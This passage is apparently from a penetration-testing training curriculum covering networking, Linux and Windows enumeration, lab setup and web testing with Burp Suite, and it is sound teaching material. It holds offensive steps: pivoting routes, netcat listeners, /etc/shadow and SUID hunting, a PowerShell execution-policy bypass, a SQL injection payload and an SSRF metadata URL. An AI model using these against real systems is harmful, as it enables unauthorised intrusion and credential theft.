sudo ip neigh flush all
ping -c 1 192.168.1.1 && arp -a | grep 192.168.1.1
```

Wireshark — capture DNS traffic

```
sudo tcpdump -i eth0 -c 20 udp port 53 -w /tmp/dns.pcap
dig google.com
sudo tcpdump -r /tmp/dns.pcap -n
# In Wireshark: filter dns
# Observe: query (A?) and response (A answer section)
```

DHCP and NAT — what to know

DHCP: `sudo journalctl | grep -i dhcp` — see what IP was assigned and when.

NAT: your RFC1918 address gets translated to a public IP at the router. Relevant when targeting DMZ hosts — understand which side of NAT you're on.

```
# Your private IP vs public IP
ip a show eth0                # private (RFC1918)
curl -s https://ifconfig.me    # public (post-NAT)
```

Practice

- TryHackMe “DNS in Detail”: <https://tryhackme.com/room/dnsindetail>
- TryHackMe “What is Networking?": <https://tryhackme.com/room/whatisnetworking>
- Live zone transfer demo: `dig axfr @nsztl1.digi.ninja zonetransfer.me`

Completion bar

Query A/MX/NS/TXT records for a domain, attempt a zone transfer against `zonetransfer.me`, capture DNS packets with `tcpdump`, and inspect with Wireshark filter `dns` — without notes.

Source: `03-networking-foundations/05-routing-path-model.md`

Routing and path model

Understand how packets travel between networks. Required for understanding pivoting and why some hosts are reachable and others are not.

Read the routing table

```
ip route
# Example output:
# default via 192.168.1.1 dev eth0 proto dhcp
# 192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.100
# 10.10.14.0/23 dev tun0 proto kernel scope link src 10.10.14.5

# Columns: destination | via (gateway) | dev (interface) | src (our IP)
# "default" = 0.0.0.0/0 = anything not matched by a specific route
```

Trace the path

```
traceroute -n google.com      # numeric (no DNS), shows each hop's IP and latency
traceroute -n -T google.com   # TCP traceroute (bypasses ICMP filters)
mtr google.com                # live traceroute + packet loss per hop (apt install mtr)
mtr --report google.com       # one-time report, good for documenting
```

Add and remove static routes

```
# Add a route to reach 10.10.10.0/24 via 192.168.1.254
sudo ip route add 10.10.10.0/24 via 192.168.1.254

# Verify
ip route | grep 10.10.10

# Remove it
sudo ip route del 10.10.10.0/24 via 192.168.1.254

# Add default gateway
sudo ip route add default via 192.168.1.1
```

Lab exercise — map your network

```
# 1. Print your routing table
ip route

# 2. Trace path to an internet host
traceroute -n 8.8.8.8

# 3. Trace path to local gateway
traceroute -n $(ip route | grep default | awk '{print $3}')

# 4. Check which interface traffic uses
ip route get 10.10.10.1      # shows which interface and gateway would be used
```

Security relevance — pivoting

When you compromise a host inside a network, it may have routes to internal subnets you can't reach directly. Example:

```
# On compromised host:
ip route
# Shows: 172.16.0.0/24 dev eth1 — internal network you can now reach
# You add a route on your attacker machine through the tunnel:
sudo ip route add 172.16.0.0/24 via 10.10.14.5 # route through your tunnel
```

Draw your lab diagram

On paper or in a text file: draw every host, its IP, its subnet, and the gateway that connects subnets. This is the first thing to do at the start of every CTF or pentest engagement.

Practice

- TryHackMe “Extending Your Network”: <https://tryhackme.com/room/extendingyournetwork>
- Practical Networking routing series: <https://www.practicalnetworking.net/series/routing/routing/>

Completion bar

Read a routing table and explain each line. Add a static route, verify it, remove it. Trace a path with `mtr` and explain why any `***` hops appear.

Source: [03-networking-foundations/06-http-https-tls.md](#)

HTTP, HTTPS, and TLS

HTTP is the protocol of web exploitation. Understand requests, responses, headers, and TLS — you will manipulate all of these.

HTTP with curl

```
curl https://example.com # GET request, print body
curl -I https://example.com # HEAD only — see response headers
curl -s -o /dev/null -w "%{http_code}" https://example.com # just the status code
curl -v https://example.com 2>&1 | head -50 # verbose: see TLS + all headers
curl -L https://example.com # follow redirects
curl -b "session=abc; user=admin" http://target/ # send cookies
curl -H "X-Forwarded-For: 127.0.0.1" http://target/ # custom header
curl -X POST -H "Content-Type: application/json" \
-d '{"user": "admin", "pass": "password123"}' \
http://target/api/login
```

HTTP status codes

Code	Meaning	Security relevance
200	OK	Request succeeded
301/302	Redirect	Note the Location header
401	Unauthorized	Authentication required
403	Forbidden	Auth ok but access denied — enumerate further
404	Not Found	Path doesn't exist
500	Server Error	May indicate code path reached — useful signal

Important HTTP headers

```
# See response headers:
curl -I https://example.com

# Headers to look for:
# Server: Apache/2.4.49           ← version disclosure
# X-Powered-By: PHP/7.4.3       ← stack disclosure
# Set-Cookie: session=abc; HttpOnly; Secure
# Content-Security-Policy: ...
# X-Frame-Options: DENY
```

TLS inspection with openssl

```
openssl s_client -connect example.com:443          # raw TLS connection, shows cert chain
openssl s_client -connect example.com:443 </dev/null 2>/dev/null | \
  openssl x509 -noout -text | grep -A2 "Subject:|Issuer:|Not After"

# Check cipher suites
openssl s_client -connect example.com:443 -cipher 'NULL' # test for null ciphers
nmap --script ssl-enum-ciphers -p 443 example.com        # enumerate supported ciphers
```

Wireshark — capture HTTP (not HTTPS)

```
# HTTP is plaintext — capture it
sudo tcpdump -i lo -w /tmp/http.pcap &
# Start a local HTTP server
python3 -m http.server 8080 &
curl http://localhost:8080/
kill %1 %2

# In Wireshark: filter http
# Right-click a request → Follow → HTTP Stream — see full request+response
```

Practice

- TryHackMe “HTTP in Detail”: <https://tryhackme.com/room/httpindetail>
- TryHackMe “Burp Suite Basics”: <https://tryhackme.com/room/burpsuitebasics>
- curl manual: <https://curl.se/docs/manpage.html>

Completion bar

Make a GET, POST, and HEAD request with curl. Read TLS certificate details with openssl. Capture HTTP traffic with tcpdump and follow a stream in Wireshark. Identify five HTTP response headers and explain what each discloses.

Source: 03-networking-foundations/07-ports-services-socket-basics.md

Ports, services, and socket basics

Every pentest starts with port scanning. Know what runs where and how to interact with raw sockets.

Check what is listening locally

```
ss -tulpn          # TCP+UDP listeners with process names (modern)
netstat -tulpn     # same, older syntax (may need net-tools installed)
sudo lsof -i -P -n | grep LISTEN # via lsof
sudo nmap -sV localhost      # version scan of local services
```

Common ports reference

Port	Service	Notes
21	FTP	Often anonymous login, check
22	SSH	Version matters for exploits
23	Telnet	Plaintext — capture credentials
25	SMTP	Mail relay, user enumeration
53	DNS	UDP+TCP, zone transfer on TCP
80	HTTP	Start web enum here
110	POP3	Email retrieval
139/445	SMB	File shares, EternalBlue, null sessions
443	HTTPS	Same as 80 + TLS
3306	MySQL	Direct DB access if exposed
3389	RDP	Windows remote desktop
5985	WinRM	Windows remote management
8080	HTTP-alt	Dev servers, proxies

Netcat — raw socket tool

```
# Listen on a port
nc -lvnp 4444          # listen, verbose, no DNS, port 4444

# Connect to a port
nc 10.10.10.1 80       # connect to host:port

# Banner grabbing — identify service version
nc -w 3 10.10.10.1 22   # -w 3: timeout 3s; SSH banner appears
nc -w 3 10.10.10.1 21   # FTP banner
nc -w 3 10.10.10.1 80
  GET / HTTP/1.0
  (press Enter twice)

# Send file
nc -lvnp 4444 > received.txt # receiver
nc 10.10.10.1 4444 < file.txt # sender
```

nmap — service fingerprinting

```
nmap -sV 10.10.10.1      # version detection
nmap -sV -p 21,22,80,443 target # specific ports only
nmap -sV --open 10.10.10.0/24 # scan subnet, show only open ports
nmap -sC -sV target      # default scripts + version
sudo nmap -sS target      # SYN scan (stealth, requires root)
sudo nmap -sU -p 53,161 target # UDP scan (DNS, SNMP)
```

Lab exercise — banner grab three services

```
# Start services locally for practice
sudo systemctl start ssh
python3 -m http.server 80 &

# Banner grab
nc -w 3 localhost 22    # SSH banner: SSH-2.0-OpenSSH_8.9...
nc -w 3 localhost 80    # HTTP server response

# Cross-reference with nmap
nmap -sV -p 22,80 localhost
```

Practice

- TryHackMe “Nmap”: <https://tryhackme.com/room/furthernmap>
- TryHackMe “Network Services”: <https://tryhackme.com/room/networkservices>
- GTFOBins for netcat privesc: <https://gtfobins.github.io/gtfobins/nc/>

Completion bar

From memory: check local listeners with `ss -tulpn`, banner-grab a service with `nc`, run an nmap version scan, identify a service from its banner — without looking up flags.

Source: `03-networking-foundations/08-packet-capture-analysis.md`

Packet capture and analysis

Read traffic with tcpdump and Wireshark. Used for CTF analysis, credential sniffing on test networks, and understanding what exploits actually do on the wire.

tcpdump — capture and filter

```
# Basic capture
sudo tcpdump -i eth0          # live capture on eth0
sudo tcpdump -i any           # all interfaces
sudo tcpdump -i eth0 -c 50    # stop after 50 packets
sudo tcpdump -i eth0 -w /tmp/capture.pcap # write to file
sudo tcpdump -r /tmp/capture.pcap -n    # read file, no DNS resolution

# Filter syntax
sudo tcpdump -i eth0 'tcp port 80'      # HTTP only
sudo tcpdump -i eth0 'tcp port 80 and host 10.10.10.1'
sudo tcpdump -i eth0 'not port 22'      # exclude SSH noise
sudo tcpdump -i eth0 'udp port 53'      # DNS only
sudo tcpdump -i eth0 -A 'tcp port 80'    # -A prints ASCII payload
```

Wireshark display filters

```
# Open a pcap
wireshark /tmp/capture.pcap

# Filters to use in the filter bar:
ip.addr == 192.168.1.100      # all traffic to/from this IP
ip.src == 192.168.1.100     # only traffic FROM this IP
tcp.port == 443              # HTTPS traffic
http.request.method == "GET" # HTTP GET requests only
http.response.code == 200    # successful HTTP responses
dns.qry.name contains "evil" # DNS queries with "evil" in name
tcp.flags.syn == 1           # SYN packets only (new connections)
!(arp || dns || icmp)        # filter out noise
```

Wireshark — follow a stream

1. Capture or open a pcap with HTTP traffic
2. Find any HTTP packet → right-click → Follow → TCP Stream
3. Red = client sent, Blue = server sent
4. Useful for: reading HTTP credentials, seeing POST body, extracting file transfers

Analyze sample PCAPs

```
# Download sample malware traffic PCAPs for analysis
# Source: https://www.malware-traffic-analysis.net/training-exercises.html
# Or use Wireshark sample captures: https://wiki.wireshark.org/SampleCaptures

# Quick analysis workflow:
sudo tcpdump -r sample.pcap -n | head -30      # quick overview
sudo tcpdump -r sample.pcap -n 'tcp port 80' | grep "GET" # HTTP requests
# Then open in Wireshark for deeper inspection
```

Lab exercise — capture a full HTTP transaction

```
# Terminal 1: start capture
sudo tcpdump -i lo -w /tmp/http_lab.pcap 'tcp port 8080' &

# Terminal 2: start HTTP server, make request
python3 -m http.server 8080 &
curl http://localhost:8080/

# Stop both
kill %2; kill %1

# Analyze
sudo tcpdump -r /tmp/http_lab.pcap -n
wireshark /tmp/http_lab.pcap &
# Filter: http — find GET request and 200 response
# Follow TCP stream — see full exchange
```

Practice

- TryHackMe “Wireshark: The Basics”: <https://tryhackme.com/room/wiresharkthebasics>
- TryHackMe “Wireshark: Packet Operations”: <https://tryhackme.com/room/wiresharkpacketoperations>
- Malware traffic analysis exercises: <https://www.malware-traffic-analysis.net/training-exercises.html>

Completion bar

Capture traffic with tcpdump using a BPF filter, open in Wireshark, apply display filters for IP/port/protocol, follow a TCP stream, and identify what the client requested and what the server returned.

Source: 03-networking-foundations/09-integration-end-to-end-flow.md

Integration — end-to-end packet trace exercise

Trace a complete browser fetch from DNS query to TCP close. Match every Wireshark frame to a protocol step.

Setup — capture everything

```
# Terminal 1: start capture (use eth0 or your active interface)
sudo tcpdump -i eth0 -w /tmp/full_trace.pcap &
TCPDUMP_PID=$!

# Terminal 2: make a plain HTTP request (not HTTPS – plaintext for learning)
curl -v http://example.com 2>&1 | tee /tmp/curl_output.txt

# Stop capture
kill $TCPDUMP_PID
```

What you should find in the capture — frame by frame

1. DNS query (UDP port 53)
→ Your machine asks: "What is the IP for example.com?"
2. DNS response (UDP port 53)
→ DNS server replies: "93.184.216.34"
3. TCP SYN (flags [S])
→ Your machine opens connection to 93.184.216.34:80
4. TCP SYN-ACK (flags [S.])
→ Server acknowledges, opens connection
5. TCP ACK (flags [.])
→ Three-way handshake complete
6. HTTP GET request
→ GET / HTTP/1.1
→ Host: example.com
7. HTTP 200 OK response
→ Server sends back HTML body
8. TCP FIN (flags [F.])
→ Connection teardown begins

Wireshark — label each frame

```
wireshark /tmp/full_trace.pcap
```

Apply these filters one at a time and note what you see:

```
dns                                # find frames 1 and 2
tcp.flags.syn == 1                # find frame 3
tcp.flags.syn == 1 && tcp.flags.ack == 1 # find frame 4
http                              # find frames 6 and 7
tcp.flags.fin == 1                # find frame 8
```

Match curl output to Wireshark

```
cat /tmp/curl_output.txt
# curl shows:
# * Trying 93.184.216.34:80...    ← after DNS resolution (frames 1-2)
# * Connected to example.com     ← after TCP handshake (frames 3-5)
# > GET / HTTP/1.1              ← frame 6
# < HTTP/1.1 200 OK              ← frame 7
```

Command sequence — run and observe

```
# Step 1: resolve manually first
dig example.com +short

# Step 2: trace the route
traceroute -n example.com

# Step 3: banner grab on port 80
nc -w 3 example.com 80
GET / HTTP/1.0

# Step 4: full curl with timing
curl -w "\nDNS: %{time_namelookup}s\nConnect: %{time_connect}s\nTotal: %{time_total}s\n" \
-o /dev/null -s http://example.com
```

Self-check questions

- Which frame is the DNS query? Which is the response?
- How many TCP packets does the handshake take?
- In the HTTP GET, what headers does your curl send by default?
- What HTTP status code did you get?
- How does the connection close — RST or FIN?

Practice

- TryHackMe “Wireshark: The Basics”: <https://tryhackme.com/room/wiresharkthebasics>
- TryHackMe “Network Fundamentals” module: <https://tryhackme.com/module/network-fundamentals>
- Download a real HTTP pcap: <https://wiki.wireshark.org/SampleCaptures#http>

Completion bar

Open a pcap of a full HTTP fetch, label the DNS/handshake/request/response/teardown frames using Wireshark filters, and explain each one — without notes.

Phase — 04-cyber-security-presecurity-foundations

Directory: `04-cyber-security-presecurity-foundations/`

Source: `04-cyber-security-presecurity-foundations/01-primary-resources-environment.md`

Resources and lab setup — pre-security foundations

Work the TryHackMe Pre-Security path completionist-style, then build a local lab.

Primary resources

- TryHackMe Pre-Security path: <https://tryhackme.com/path/outline/presecurity> (free)
- HTB Academy "Security Fundamentals": <https://academy.hackthebox.com/module/details/18> (free)

Lab VMs — VirtualBox setup

Download VirtualBox: <https://www.virtualbox.org/wiki/Downloads>

Create two VMs: - Ubuntu 22.04 LTS: <https://ubuntu.com/download/desktop> - Windows 10 Evaluation: <https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise>

Network config: each VM gets two adapters — NAT (internet access) + Host-Only (VMs talk to each other). Take a snapshot of each VM before installing tools. Revert if something breaks.

Kali Linux (attack VM)

Pre-built VirtualBox image: <https://www.kali.org/get-kali/#kali-virtual-machines>

```
# After first boot — update and install core tools
sudo apt update && sudo apt upgrade -y
sudo apt install -y nmap gobuster curl wget python3 python3-pip git burpsuite feroxbuster
```

Browser DevTools

Open with F12 (or Cmd+Option+I on Mac). Go to the Network tab. Every HTTP request your browser makes appears here — headers, cookies, response bodies. Key actions: filter by XHR/Fetch, copy any request as curl, inspect Set-Cookie headers.

Verify lab connectivity

```
# From Kali — ping your Ubuntu VM (replace with your Host-Only IP)
ping -c 4 192.168.56.101

# Scan your Ubuntu VM — Host-Only network only, never scan hosts you don't own
nmap -sV 192.168.56.101
```

TryHackMe rooms to complete first

1. "Welcome" room (how to use TryHackMe + AttackBox)
 2. "Tutorial" room (connect VPN or use AttackBox)
 3. Start Pre-Security path — complete all rooms in order
-

Security disciplines overview — roles, tools, and attack lifecycle

Five roles, what each does daily, and the attack/defense lifecycle end-to-end.

Role comparison

Role	Daily work	Core tools	Avg salary (US)
Penetration Tester	Find and exploit vulns in client systems	Burp Suite, Metasploit, nmap	\$90–130k
Red Team Operator	Simulate adversary TTPs, evade defenses	Cobalt Strike, custom C2, AD tools	\$110–160k
SOC Analyst	Monitor alerts, triage incidents, write detections	Splunk, ELK, SIEM platforms	\$55–85k
AppSec Engineer	Review code, run DAST/SAST, fix vulns in SDLC	Semgrep, Burp, Snyk, CodeQL	\$120–160k
Bug Bounty Hunter	Self-directed vuln hunting on scope targets	Burp Suite, custom recon scripts	Variable

Attack lifecycle

Recon → Scan → Exploit → Pivot → Post-exploitation → Report

- Recon: OSINT (LinkedIn, Shodan, WHOIS), subdomain enum, tech stack fingerprinting
- Scan: nmap port/service scan, vuln scan with Nessus/OpenVAS
- Exploit: use known CVE or manually exploit a misconfiguration
- Pivot: use compromised host to reach internal network
- Post-exploitation: dump creds, escalate privileges, maintain access
- Report: document findings with severity, evidence, and remediation steps

Defense lifecycle

Monitor → Detect → Contain → Eradicate → Recover

- Monitor: collect logs from endpoints, network, apps into SIEM
- Detect: alert on anomalies — failed logins, unusual outbound, new admin accounts
- Contain: isolate affected host (pull network cable / firewall rule)
- Eradicate: remove malware, patch vuln, rotate creds
- Recover: restore from backup, verify clean state, resume operations

Practice

TryHackMe “Careers in Cyber” room: <https://tryhackme.com/room/careersincyber> (free)

Networking through attacker eyes — ports, services, and misconfigs

Attackers ask five questions about every host: What ports are open? What services? What versions? Default creds? Known CVEs?

Core recon commands

```
# Basic scan — top 1000 ports
nmap 192.168.56.101

# Service + version detection with default scripts
nmap -sV -sC 192.168.56.101

# All ports, aggressive
nmap -p- -T4 -A 192.168.56.101

# UDP scan (slower — common services: DNS/53, SNMP/161, NTP/123)
nmap -sU --top-ports 20 192.168.56.101
```

Run these against your own lab VMs only. Never scan hosts you don't own.

Trust boundaries attackers think about

- Internet-facing (DMZ): web servers, mail servers, VPNs — directly reachable
- Internal network: databases, AD controllers, file shares — reached after pivot
- Localhost: services bound to 127.0.0.1 — visible only from the machine itself

Common misconfigurations to look for

Misconfiguration	Command to check
Anonymous FTP login	<code>ftp 192.168.56.101 → user: anonymous</code>
Telnet instead of SSH	<code>telnet 192.168.56.101 23</code>
SMB null session	<code>smbclient -N -L //192.168.56.101</code>
Default web creds	browse to port 80/8080, try admin/admin
Open Redis no auth	<code>redis-cli -h 192.168.56.101 ping</code>

Key ports to know

Port	Service	Why attackers care
21	FTP	anonymous login, cleartext
22	SSH	brute force, key reuse
23	Telnet	cleartext credentials
80/443	HTTP/HTTPS	web attacks
445	SMB	EternalBlue, pass-the-hash
3389	RDP	brute force, BlueKeep
3306	MySQL	direct DB access if exposed

Practice

TryHackMe “Network Fundamentals” rooms: <https://tryhackme.com/module/network-fundamentals>

Source: `04-cyber-security-presecurity-foundations/04-how-the-web-works-security-view.md`

HTTP from attacker perspective — requests, cookies, and DevTools

Understanding HTTP structure is prerequisite for every web attack.

URL anatomy

```
https://shop.example.com:443/products?id=5&sort=asc#reviews
^^^^^  ^^^^^^^^^^^^^^^^^^^^^ ^^^  ^^^^^^^^^  ^^^^^^^^^^^^^^^^^  ^^^^^^^^^
scheme host                    port path    query params  fragment
```

Query parameters (`id=5`) are attacker input. Every parameter is a potential injection point.

HTTP verbs and what attackers target

Verb	Purpose	Attack angle
GET	Fetch resource	Inject via URL params
POST	Submit data	Inject via request body
PUT	Replace resource	Unauthorized data modification
DELETE	Remove resource	Unauthorized deletion
PATCH	Partial update	Privilege escalation via field

Cookies and sessions

```
# curl - save cookies then resend them
curl -c cookies.txt http://target/login -d "user=admin&pass=password"
curl -b cookies.txt http://target/dashboard

# Check what flags a cookie has
curl -v http://target/login 2>&1 | grep Set-Cookie
# Good: Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
# Bad:  Set-Cookie: session=abc
```

Missing `HttpOnly` → XSS can steal it. Missing `Secure` → sent over HTTP. Missing `SameSite` → CSRF risk.

Same-origin policy

Browser blocks JS on `evil.com` from reading responses from `bank.com`. This is the main browser defense. CORS headers (`Access-Control-Allow-Origin: *`) can weaken it — look for overly permissive CORS configs.

DevTools workflow

1. Open F12 → Network tab
2. Browse to any login page
3. Submit the form — watch the POST request appear
4. Click the request → Headers tab (see what was sent) → Response tab (see what came back)
5. Right-click the request → Copy → Copy as cURL
6. Paste in terminal → replay the request → modify parameters

Practice

TryHackMe “How The Web Works” path (4 rooms, all free): <https://tryhackme.com/module/how-the-web-works>

Source: `04-cyber-security-presecurity-foundations/05-computer-virtualization-cloud-basics.md`

VMs, containers, and cloud — lab setup and security context

VMs isolate your attack lab. Containers let you spin up vulnerable apps in seconds.

VirtualBox setup

1. Download VirtualBox: <https://www.virtualbox.org/wiki/Downloads>
2. Download Ubuntu 22.04 ISO: <https://ubuntu.com/download/desktop>
3. New VM → Linux → Ubuntu 64-bit → 2GB RAM → 20GB disk → NAT + Host-Only adapters
4. Boot from ISO → install → take snapshot named "Clean install"

Always snapshot before anything destructive. Revert with: Machine → Restore Snapshot.

Docker — run vulnerable apps instantly

```
# Install Docker on Ubuntu
sudo apt install -y docker.io
sudo usermod -aG docker $USER # log out and back in

# Juice Shop — OWASP vulnerable web app (covers all OWASP Top 10)
docker run -d -p 3000:3000 bkimminich/juice-shop
# Browse to http://localhost:3000

# DVWA — Damn Vulnerable Web Application
docker run -d -p 80:80 vulnerables/web-dvwa
# Browse to http://localhost → admin/password → setup DB

# nginx — test a normal server
docker run -d -p 8080:80 nginx

# Useful docker commands
docker ps # list running containers
docker exec -it <container_id> bash # shell inside container
docker stop <container_id> # stop container
docker rm <container_id> # remove container
```

Cloud basics — AWS free tier

AWS free tier gives 750 hours/month of t2.micro EC2: <https://aws.amazon.com/free>

Security groups in AWS = firewall rules. Inbound rule `0.0.0.0/0 port 22` = anyone can try to SSH in. Default mistake: leaving security groups wide open. Always restrict to your IP.

```
# Check which IP AWS thinks you are
curl ifconfig.me

# Harden SSH — disable password auth, use keys only
# /etc/ssh/sshd_config:
# PasswordAuthentication no
# PubkeyAuthentication yes
```

Snapshots vs containers — when to use what

- Snapshot (VM): full OS state saved, expensive in disk space, great for lab rollback
- Docker container: app-level isolation, fast spin-up, no kernel isolation, fine for vulnerable app labs

Source: `04-cyber-security-presecurity-foundations/06-linux-fundamentals-security-skim.md`

Linux quick reference — security-relevant commands

Assumes basic Linux comfort. Focus here is on commands that matter during a pentest or CTF.

User and privilege enumeration

```
whoami          # current user
id              # uid, gid, groups
sudo -l         # what can this user run as root?
cat /etc/passwd # all users (UID 0 = root)
cat /etc/shadow # password hashes (requires root)
cat /etc/sudoers # sudo config
```

SUID and interesting file hunting

```
# Find SUID binaries – executables that run as their owner (often root)
find / -perm -4000 -type f 2>/dev/null

# Find world-writable files
find / -perm -o+w -type f 2>/dev/null

# Find files owned by root but writable by others
find / -user root -writable 2>/dev/null | grep -v proc
```

Scheduled tasks and services

```
crontab -l          # current user's cron jobs
cat /etc/crontab     # system-wide cron jobs
ls /etc/cron.*       # cron.d, cron.daily, etc.
systemctl list-units --type=service --state=running
ps aux              # all running processes
```

Network state from inside a machine

```
netstat -tulpn      # listening ports and which process
ss -tulpn           # same, newer tool
cat /etc/hosts       # local hostname resolution
ip addr             # IP addresses on all interfaces
```

Interesting files to check

```
/etc/passwd        - user list
/etc/shadow         - password hashes (need root)
/etc/hosts          - internal hostnames
/etc/crontab        - scheduled tasks
~/.ssh/authorized_keys - who can SSH in as this user
~/.bash_history      - commands the user ran
/var/mail/          - email (sometimes contains creds)
/tmp/ and /var/tmp/ - world-writable, used to stage payloads
```

Practice

TryHackMe “Linux Fundamentals” parts 1–3: <https://tryhackme.com/module/linux-fundamentals> TryHackMe “Linux PrivEsc”: <https://tryhackme.com/room/linuxprivesc>

Source: 04-cyber-security-presecurity-foundations/07-windows-fundamentals-security.md

Windows fundamentals for security — CMD and PowerShell

Commands you run after landing on a Windows box to understand what you have.

Basic enumeration — CMD

whoami /all	REM current user + privileges + groups
net user	REM all local users
net user administrator	REM details on a specific user
net localgroup administrators	REM who's in the admins group
systeminfo	REM OS version, hotfixes, hostname
ipconfig /all	REM network interfaces, DNS, gateway
tasklist /SVC	REM running processes with service names
netstat -ano	REM connections + PIDs

Basic enumeration — PowerShell

```
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10
Get-Service | Where-Object { $_.Status -eq "Running" }
Get-LocalUser
Get-LocalGroupMember Administrators
Get-NetIPAddress
Get-NetTCPConnection | Where-Object State -eq Listen
```

Registry — persistence and auto-run locations

```
REM Check what runs on startup
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
```

File system — interesting locations

```
C:\Users\<user>\Desktop\
C:\Users\<user>\Documents\
C:\Users\<user>\AppData\Roaming\
C:\Windows\System32\config\ - SAM and SYSTEM (password hashes, need SYSTEM priv)
C:\inetpub\wwwroot\ - IIS web root (check for config files)
C:\Program Files\ - installed software versions
```

PowerShell execution policy bypass

```
# Check current policy
Get-ExecutionPolicy

# Bypass for current session (common during pentests)
powershell -ExecutionPolicy Bypass -File script.ps1
Set-ExecutionPolicy -Scope CurrentUser Bypass
```

Scheduled tasks

```
schtasks /query /fo LIST /v REM all scheduled tasks verbose
```

Practice

TryHackMe “Windows Fundamentals” rooms 1–3: <https://tryhackme.com/module/windows-fundamentals> TryHackMe “Windows PrivEsc”: <https://tryhackme.com/room/windows10privesc>

Integration exercise — map a full web request

Pick any website and trace one complete HTTP request from browser to server and back.

Exercise steps

1. Open Chrome or Firefox → press F12 → Network tab
2. Browse to any login page (use your DVWA or Juice Shop lab)
3. Submit the login form
4. In the Network tab, click the POST request that appeared
5. Document everything in the table below

What to document

Field	What you found
URL	full URL including query params
Method	GET or POST
Request headers	Content-Type, User-Agent, Host
Cookies sent	names and values
Request body	what was submitted (username, password)
Response code	200, 302, 401, 403...
Response headers	Set-Cookie, Location, Content-Type
Sensitive data in response	token? user data? internal paths?

Replay with curl

Right-click the request in DevTools → Copy → Copy as cURL. Paste into terminal and run. Now modify the password field and observe the difference in response.

```
# Example — inspect cookie flags
curl -v http://localhost/login -d "username=admin&password=password" 2>&1 | grep -i "set-cookie"

# Good response (all three flags present):
# Set-Cookie: PHPSESSID=abc123; path=/; HttpOnly; Secure; SameSite=Strict

# Bad response (no flags):
# Set-Cookie: PHPSESSID=abc123
```

Questions to answer after the exercise

- Does the session cookie have `HttpOnly`? If not, XSS can steal it.
- Does it have `Secure`? If not, it gets sent over plain HTTP.
- Does it have `SameSite`? If not, CSRF attacks are easier.
- Is the password sent over HTTPS or HTTP? (Check scheme in URL bar — padlock icon)
- Does the response contain any sensitive data that shouldn't be there?

Practice

TryHackMe “Putting It All Together” room: <https://tryhackme.com/room/puttingitaltogether>

OWASP Top 10 as a practical testing checklist

Each category mapped to an attack description, a tool, and a defense.

OWASP Top 10 — 2021

#	Category	Attack (1 line)	Tool to test	Defense
A01	Broken Access Control	Access another user's data by changing an ID	Burp Suite + Autorize	Server-side auth checks on every request
A02	Cryptographic Failures	Intercept HTTP traffic or crack weak password hashes	Wireshark, hashcat	TLS everywhere, bcrypt for passwords
A03	Injection	SQL injection via input field: ' OR 1=1 --	sqlmap	Parameterized queries
A04	Insecure Design	Logic flaw: skip payment step in checkout flow	Manual testing	Threat modeling during design
A05	Security Misconfiguration	Default creds (admin/admin), directory listing enabled	nikto, gobuster	Hardening guides, disable defaults
A06	Vulnerable Components	Known CVE in outdated library version	npm audit, snyk test	Keep dependencies updated
A07	Auth Failures	Brute-force login with no rate limiting	hydra (lab only)	Rate limiting + MFA
A08	Software Integrity	Tampered package in CI/CD pipeline	Check download hashes	SRI tags, signed packages
A09	Logging Failures	Attack happens with no trace in logs	Try error conditions, check logs	Structured logging, centralized SIEM
A10	SSRF	url=http://169.254.169.254/ to hit cloud metadata	Manual, curl	Allowlist outbound URLs, block metadata IPs

Run Juice Shop locally and test each category

```
docker run -d -p 3000:3000 bkimminich/juice-shop
# Browse to http://localhost:3000
# Challenges menu shows progress — covers all 10 OWASP categories
```

Quick OWASP reference

- OWASP Top 10 detail: <https://owasp.org/www-project-top-ten/>
- Juice Shop challenge list: <https://pwning.owasp-juice.shop/companion-guide/latest/part2/>

Practice

TryHackMe “OWASP Top 10 - 2021” room: <https://tryhackme.com/room/owasptop102021>

Phase — 05-web-backend-auth-security-foundations

Directory: 05-web-backend-auth-security-foundations/

Source: 05-web-backend-auth-security-foundations/01-primary-resources-and-lab-environment.md

Resources and lab setup — web and auth security

PortSwigger Web Security Academy is the primary platform. Everything is free.

Primary resources

- PortSwigger Web Security Academy: <https://portswigger.net/web-security> Complete all Apprentice labs as minimum. Practitioner labs for depth.
- OWASP Testing Guide: <https://owasp.org/www-project-web-security-testing-guide/>

Local lab — vulnerable apps via Docker

```
# DVWA — classic vulnerable PHP app
docker run -d -p 80:80 vulnerables/web-dvwa
# Browse to http://localhost → login: admin/password → Setup/Reset DB button

# OWASP Juice Shop — covers all OWASP Top 10 with gamified challenges
docker run -d -p 3000:3000 bkimminich/juice-shop
# Browse to http://localhost:3000

# WebGoat — Java-based, structured lessons
docker run -d -p 8080:8080 webgoat/webgoat
# Browse to http://localhost:8080/WebGoat

# OWASP crAPI — modern API vulnerable app
docker run -d -p 8888:8888 crapi/crapi
```

Burp Suite Community — install and configure

1. Download: <https://portswigger.net/burp/communitydownload>
2. Open Burp → Proxy → Options → Proxy listener on 127.0.0.1:8080
3. In browser: set manual proxy to 127.0.0.1:8080 (or use FoxyProxy extension)
4. Import Burp CA cert: browse to <http://burpsuite> → Download CA certificate → install in browser
5. Verify: browse to any site → Burp Proxy → HTTP history shows the request

Recommended lab order

1. PortSwigger Apprentice labs for each topic (do them alongside each unit)
 2. DVWA — set security to Low, work through all modules
 3. Juice Shop — solve challenges while learning each attack type
 4. Repeat DVWA on Medium and High after completing the whole phase
-

Source: 05-web-backend-auth-security-foundations/02-http-and-burp-basics.md

Burp Suite core workflow — intercept, modify, replay

Burp is the primary tool for web security testing. Learn these four workflows.

Setup check

```
Burp running → Proxy listener on 127.0.0.1:8080
Browser proxy set to 127.0.0.1:8080
CA cert installed in browser
Intercept: ON
```

Workflow 1 — Intercept and modify a request

1. Browse to DVWA login page: `http://localhost/login.php`
2. Burp Proxy → Intercept ON
3. Submit login form in browser
4. Request appears in Burp — see the POST body: `username=admin&password=password`
5. Modify the password field → click Forward
6. Intercept OFF to stop capturing every request

Workflow 2 — Repeater (replay and modify)

1. Burp Proxy → HTTP history → find the login POST
2. Right-click → Send to Repeater
3. Repeater tab → change `password=password` to `password=wrongpass` → click Send
4. Response panel shows server response — compare 200 vs 302 vs 401

Workflow 3 — Decoder

1. Burp Decoder tab
2. Paste a base64 value from a cookie or JWT header
3. Click Decode as → Base64 → see plaintext
